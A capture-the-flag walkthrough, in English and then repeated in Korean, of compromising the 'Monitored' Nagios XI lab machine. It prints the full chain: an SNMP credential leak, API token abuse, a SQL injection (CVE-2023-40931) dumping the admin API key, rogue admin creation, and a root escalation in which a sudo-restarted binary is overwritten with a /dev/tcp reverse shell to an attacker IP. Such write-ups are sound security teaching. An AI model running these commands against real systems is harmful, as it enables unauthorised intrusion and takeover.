Target IP: 10.10.11.248
Hostname: nagios.monitored.htb

Initial Reconnaissance

The TCP scan showed a Nagios XI stack, and adding the UDP scan revealed the real entry point.

nmap -p- -sC -sV 10.10.11.248
nmap -sU --top-ports 100 nagios.monitored.htb
22/tcp   open  ssh      OpenSSH 8.4p1 Debian
80/443   open  http     Apache 2.4.56 -> Nagios XI
389/tcp  open  ldap     OpenLDAP
5667/tcp open  tcpwrapped
161/udp  open  snmp

The web login wanted credentials I did not have yet. SNMP on 161/udp was more promising.

SNMP Leaks Credentials

The public community string was accepted, and walking the process table exposed a full command line with a password baked in.

snmpwalk -c public -v1 -t 10 nagios.monitored.htb -Oa
... "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"

That gave svc / XjH7VCehowpR1xZB.

Nagios XI: API Auth for a Disabled User

The svc account was disabled in the web interface, so the normal login failed. The Nagios XI API, however, still authenticated it and handed back a token that could be exchanged for a session.

curl -sk "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1" \
  --data "username=svc&password=XjH7VCehowpR1xZB&valid_min=5"
# -> "auth_token": "585e0649..."
curl -sk "https://nagios.monitored.htb/nagiosxi/login.php?token=585e0649..."
# -> Set-Cookie: nagiosxi=...

With that cookie I was authenticated as svc. The instance reported Nagios XI 5.11.0.

Authenticated into Nagios XI as svc through the recovered cookie

SQL Injection to the Admin API Key

Nagios XI 5.11.0 is vulnerable to CVE-2023-40931, a SQL injection in admin/banner_message-ajaxhelper.php. Using the authenticated token, the public PoC drives sqlmap to dump the xi_users table.

python3 exploit.py -t http://10.10.11.248/nagiosxi -u svc -p XjH7VCehowpR1xZB

The dump included the administrator’s API key.

admin ... IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

Creating an Admin and Getting a Shell

The admin API key let me create a brand-new administrator account. The one catch is that the API only accepts a local email domain, so the address has to be @localhost.

curl -XPOST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9...&pretty=1" \
  -d "username=qwer&password=qwer&name=qwer&email=qwer@localhost&auth_level=admin"
# {"success":"User account qwer was added successfully!"}

Logged in as a real admin, the Core Config Manager let me define a check command containing a reverse shell. Running it returned a shell as the nagios service user and the user flag.

Defining a reverse-shell check command in the Core Config Manager

Applying the malicious command definition

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 58654
nagios@monitored:~$ cat user.txt

Privilege Escalation

sudo -l showed that nagios could manage services as root, including a wrapper script.

(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *

That script (re)starts the Nagios daemon as root. Critically, the daemon binary itself was writable by the nagios group.

-rwxrwxr-- 1 nagios nagios 717648 Nov  9  2023 /usr/local/nagios/bin/nagios

So I overwrote the binary with a reverse shell and asked the sudo-allowed script to restart the service.

cat > /usr/local/nagios/bin/nagios <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.20/6666 0>&1
EOF
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios

The service restart executed my script as root.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 54080
root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Root shell after the nagios binary was overwritten and restarted

Takeaways

Monitored is a realistic look at a monitoring appliance. SNMP quietly leaking a service password through a process command line is a very real misconfiguration, and it opens up everything else. From there it is a Nagios XI exploit chain: an API that authenticates a disabled user, a SQL injection that yields the admin API key, and an API that mints new admins.

The root step is a classic sudo pitfall. A privileged service script is only as safe as the binary it launches, and here that binary was group-writable.


대상 IP: 10.10.11.248
호스트명: nagios.monitored.htb

초기 정찰

TCP 스캔은 Nagios XI 스택을 보여줬고, UDP 스캔을 더하니 진짜 진입점이 드러났습니다.

nmap -p- -sC -sV 10.10.11.248
nmap -sU --top-ports 100 nagios.monitored.htb
22/tcp   open  ssh      OpenSSH 8.4p1 Debian
80/443   open  http     Apache 2.4.56 -> Nagios XI
389/tcp  open  ldap     OpenLDAP
5667/tcp open  tcpwrapped
161/udp  open  snmp

웹 로그인은 아직 없는 credential을 요구했습니다. 161/udp의 SNMP가 더 유망해 보였고요.

SNMP가 흘린 크리덴셜

public 커뮤니티 문자열이 통했고, 프로세스 테이블을 훑으니 비밀번호가 그대로 박힌 명령줄이 노출됐습니다.

snmpwalk -c public -v1 -t 10 nagios.monitored.htb -Oa
... "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"

svc / XjH7VCehowpR1xZB를 얻었습니다.

Nagios XI: 비활성 사용자의 API 인증

svc 계정은 웹 인터페이스에서 비활성화되어 있어서 일반 로그인은 실패했습니다. 그런데 Nagios XI API는 여전히 이 계정을 인증해줬고, 세션으로 교환할 수 있는 토큰을 돌려줬어요.

curl -sk "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1" \
  --data "username=svc&password=XjH7VCehowpR1xZB&valid_min=5"
# -> "auth_token": "585e0649..."
curl -sk "https://nagios.monitored.htb/nagiosxi/login.php?token=585e0649..."
# -> Set-Cookie: nagiosxi=...

이 쿠키로 svc로 인증됐습니다. 인스턴스는 Nagios XI 5.11.0이라고 알려줬고요.

복구한 쿠키로 Nagios XI에 svc로 인증된 화면

SQL Injection으로 관리자 API 키 획득

Nagios XI 5.11.0은 CVE-2023-40931에 취약합니다. admin/banner_message-ajaxhelper.php의 SQL injection인데요. 인증된 토큰을 이용해 공개 PoC가 sqlmap을 돌려 xi_users 테이블을 덤프합니다.

python3 exploit.py -t http://10.10.11.248/nagiosxi -u svc -p XjH7VCehowpR1xZB

덤프에는 관리자의 API 키가 들어 있었습니다.

admin ... IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

관리자 생성 후 셸 획득

관리자 API 키로 완전히 새로운 관리자 계정을 만들 수 있었습니다. 한 가지 함정은, API가 로컬 이메일 도메인만 받는다는 거예요. 그래서 주소는 @localhost여야 합니다.

curl -XPOST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9...&pretty=1" \
  -d "username=qwer&password=qwer&name=qwer&email=qwer@localhost&auth_level=admin"
# {"success":"User account qwer was added successfully!"}

진짜 관리자로 로그인하니, Core Config Manager에서 reverse shell이 담긴 check 명령을 정의할 수 있었습니다. 이걸 실행하니 nagios 서비스 계정 셸과 user 플래그를 얻었습니다.

Core Config Manager에서 reverse shell check 명령 정의

악성 명령 정의를 적용하는 화면

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 58654
nagios@monitored:~$ cat user.txt

권한 상승

sudo -l은 nagios가 서비스를 root로 관리할 수 있음을 보여줬습니다. 래퍼 스크립트까지 포함해서요.

(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *

이 스크립트는 Nagios 데몬을 root로 (재)시작합니다. 결정적으로, 그 데몬 바이너리 자체가 nagios 그룹에게 쓰기 가능했어요.

-rwxrwxr-- 1 nagios nagios 717648 Nov  9  2023 /usr/local/nagios/bin/nagios

그래서 바이너리를 reverse shell로 덮어쓰고, sudo로 허용된 스크립트에게 서비스 재시작을 요청했습니다.

cat > /usr/local/nagios/bin/nagios <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.20/6666 0>&1
EOF
sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios

서비스 재시작이 제 스크립트를 root로 실행했습니다.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.248] 54080
root@monitored:/# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

nagios 바이너리를 덮어쓰고 재시작해 얻은 root 셸

정리

Monitored는 모니터링 어플라이언스를 현실적으로 보여줍니다. SNMP가 프로세스 명령줄을 통해 서비스 비밀번호를 조용히 흘리는 건 아주 실제적인 오설정이고, 이게 나머지 전부를 열어줍니다. 거기서부터는 Nagios XI 익스플로잇 체인이에요. 비활성 사용자를 인증해주는 API, 관리자 API 키를 내주는 SQL injection, 그리고 새 관리자를 찍어내는 API까지요.

root 단계는 전형적인 sudo 함정입니다. 권한 있는 서비스 스크립트는 결국 자신이 실행하는 바이너리만큼만 안전한데, 여기서는 그 바이너리가 그룹 쓰기 가능이었던 거죠.